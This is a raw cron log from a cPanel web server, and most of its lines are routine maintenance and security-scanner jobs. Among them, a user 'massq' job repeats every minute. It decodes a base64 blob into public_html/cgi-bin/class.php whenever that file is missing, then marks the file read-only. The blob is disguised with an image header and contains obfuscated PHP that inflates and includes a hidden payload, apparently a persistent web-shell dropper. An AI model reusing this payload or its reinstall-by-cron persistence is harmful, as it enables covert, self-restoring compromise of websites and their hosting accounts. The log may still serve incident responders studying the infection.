Sep  5 11:35:01 server CROND[6173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:36:01 server CROND[7010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:36:01 server CROND[7011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:36:01 server CROND[7012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:37:01 server CROND[7446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:37:01 server CROND[7447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:37:01 server CROND[7448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:38:01 server CROND[7824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:38:01 server CROND[7823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:38:01 server CROND[7825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:39:01 server CROND[8189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:39:01 server CROND[8190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:39:01 server CROND[8191]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 11:39:01 server CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:40:01 server CROND[8672]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:40:01 server CROND[8673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:40:01 server CROND[8675]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:40:01 server CROND[8678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:40:01 server CROND[8679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:40:01 server CROND[8680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:40:01 server CROND[8676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:40:01 server CROND[8677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:41:01 server CROND[9514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:41:01 server CROND[9515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:41:01 server CROND[9516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:42:01 server CROND[9883]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:42:01 server CROND[9884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:42:01 server CROND[9882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:42:01 server CROND[9885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:43:01 server CROND[10264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:43:01 server CROND[10265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:43:01 server CROND[10266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:44:01 server CROND[10629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:44:01 server CROND[10630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:44:01 server CROND[10631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:45:01 server CROND[11011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:45:01 server CROND[11013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:45:01 server CROND[11014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:45:01 server CROND[11031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:45:01 server CROND[11029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:45:01 server CROND[11030]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:45:01 server CROND[11028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:46:01 server CROND[11979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:46:01 server CROND[11980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:46:01 server CROND[11981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:47:01 server CROND[12356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:47:01 server CROND[12357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:47:01 server CROND[12358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:48:01 server CROND[12765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:48:01 server CROND[12766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
